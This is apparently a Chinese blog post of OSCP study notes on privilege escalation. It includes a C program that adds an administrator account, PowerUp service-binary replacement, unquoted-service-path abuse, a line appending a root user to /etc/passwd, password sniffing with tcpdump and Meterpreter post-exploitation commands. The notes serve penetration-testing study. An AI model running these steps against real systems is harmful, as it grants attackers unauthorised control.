(Get-PSReadlineOption).HistorySavePath

# 可能存在密码的文件
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt

# 存在的服务
# 这一条过滤了 没有运行的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# 显示所有服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathNam
# 查看文件权限
icacls "C:\xampp\apache\bin\httpd.exe"

Mask

Permissions

F

Full access

M

Modify access

RX

Read and execute access

R

Read-only access

W

Write-only access

替换服务exe的时候 可以自行编译一个

adduser.c

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}


x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

后续就是net stop或者net start 服务了

# 查看目标服务的启动类型
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

AUTO就是自启动
PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1

# 显示可修改的服务
Get-ModifiableServiceFile

# 一键替换二进制文件 默认创建一个名为john的本地用户,密码为Password123!
Install-ServiceBinary -Name 'mysql'

# 手动测试 检查权限
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles

ModifiablePath                IdentityReference Permissions
--------------                ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users     {WriteOwner, Delete, WriteAttributes, Synchronize...}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

ModifiablePath     IdentityReference                Permissions
--------------     -----------------                -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal 

PS C:\Users\dave> $ModifiableFiles

dll劫持

原理:利用下面的命令找到软件版本 然后搜exp 根据漏洞类型来 这个思路一定要有
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

FileZilla FTP 3.63.1 存在dll劫持
不带引号的服务路径(非常重要和有意思的一个技巧)
# 枚举运行和已停止的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto"


比如 设置的路径如下 没有带引号
C:\Program Files\My Program\My Service\service.exe
原理
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

然后重启服务即可

在示例中,我们可以将可执行文件命名为 Program.exe并将其放在C:\中,将My.exe并将其放在 C:\Program Files\中,或者将My.exe并将其放在C:\Program Files\My Program\中。但是,前两个选项需要一些不太可能的权限,因为标准用户默认没有写入这些目录的权限。第三个选项更有可能,因为它是软件的主目录。如果管理用户或开发人员将此目录的权限设置得太开放,我们就可以在那里放置恶意二进制文件。

# 详细命令

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"

检查哪个目录有当前用户的W命令就行 然后放入一个exe文件
找到了之后执行下面的命令就行
Stop-Service GammaService
Start-Service GammaService

还是PowerUp.ps1的技术

PowerUp.ps1
. .\PowerUp.ps1
# 和上面一样输出易受危害的服务
Get-UnquotedService
# 选择写入的路径
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
# 重启服务
Restart-Service GammaService

默认行为是创建一个名为john的新本地用户,密码为Password123!
计划任务提权
# 查看计划任务
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Every:"
schtasks /query /fo LIST /v | findstr /i /C:"TaskName" /C:"Every:" /C:"Task To Run:"
# 确定具体的任务
schtasks /query /tn "\Microsoft\Windows\SomeTask" /fo LIST /v
# 确认权限 然后替换就行了
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

漏洞提权

whoami /priv
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
linux提权(信息收集)
ls -l /etc/shadow
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel	#路由表
ss -anp	#所有连接
cat /etc/iptables/rules.v4	#防火墙配置
ls -lah /etc/cron*					#计划任务
crontab -l		#计划任务
dpkg -l				#安装的应用程序
find / -writable -type d 2>/dev/null	#可写目录
cat /etc/fstab		#显示挂载驱动器
mount					#挂载的文件系统
lsblk					#查看可用磁盘
lsmod					#查看加载的内核模块
/sbin/modinfo libata	#上面收集到了模块 这里查看模块的更多信息
.bashrc				#自动设置环境变量的脚本 可能存在一些信息
env						#查看环境变量 可能存在信息
watch -n 1 "ps -aux | grep pass"		#类似于一个低配版的pspy32
sudo tcpdump -i lo -A | grep "pass"	#捕获流量
grep "CRON" /var/log/syslog					#查看系统日志里的自动任务 也是一个低配版的pspy32
/usr/sbin/getcap -r / 2>/dev/null		#cap_setuid+ep提权
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation"   | grep  "4." | grep -v " < 4.4.0" | grep -v "4.8"
# searchspoit的一个技巧吧

/etc/passwd 滥用

openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

生成新字典的逻辑

# 根据密码的最小和最大长度 设置某一个密码为基准 来生成新的
crunch 6 6 -t Lab%%% > wordlist
windows提权

这里只记一部分 主要是提醒作用吧

当所有的方法都不行的时候 记得多注意一下 winPEASany.exe的输出
里面的东西很全面 下面是手动方法 而winPEASany.exe集成了下面的所有的信息
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys
服务提权
wmic service get name,displayname,pathname,startmode |findstr /i "auto"
msf后利用
# 指示目标机器当前是否正在使用 下面就是用户离开9分钟的意思
idletime
User has been idle for: 9 mins 53 secs

# 第一件事
getsystem

# 进程迁移
migrate 8052

# 启动隐藏的notepad并迁移进程
execute -H -f notepad
migrate 8052

# powershell第一件事执行这个 绕过系统的powershell的执行策略限制
PowerShell -ExecutionPolicy Bypass
powershell -ep bypass

# 端口转发
portfwd add -l 3389 -p 3389 -r 172.16.5.200

# 设置代理
use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j

然后在本地的1080就会有一个sock5代理 proxychains就行了

101.OSCP一些思路

在看oscptext的时候遇到的一些有意思的教学,这些思路得记下来

遇到任意文件读取的时候不要老相信poc 记得手动试一下 比如任意文件读取的poc 他可能就不成功

遇到文件包含尝试写日志 读日志 ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php

文件上传有时候可以进行覆盖 覆盖公钥试试看

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

UAC绕过 是一个挺有意思的一个技术 Import-Module NtObjectManager 之后 Get-NtTokenIntegrityLevel 就能确定完整性级别 当级别为Medium的时候 就可以去尝试UAC绕过了

102.后利用脚本

https://github.com/rebootuser/LinEnum

https://linpeas.sh/

https://github.com/DominicBreuker/pspy

aes:https://tool.lmeee.com/jiami/aes

rsa:https://www.bejson.com/enc/rsa/

phpinfo lfi条件竞争:https://github.com/vulhub/vulhub/tree/master/php/inclusion

ssh隧道:https://wangdoc.com/ssh/port-forwardinghttps://harttle.land/2022/05/02/ssh-port-forwarding.html

windows漏洞分析:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

windows永恒之蓝系列:https://github.com/SecWiki/windows-kernel-exploits

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值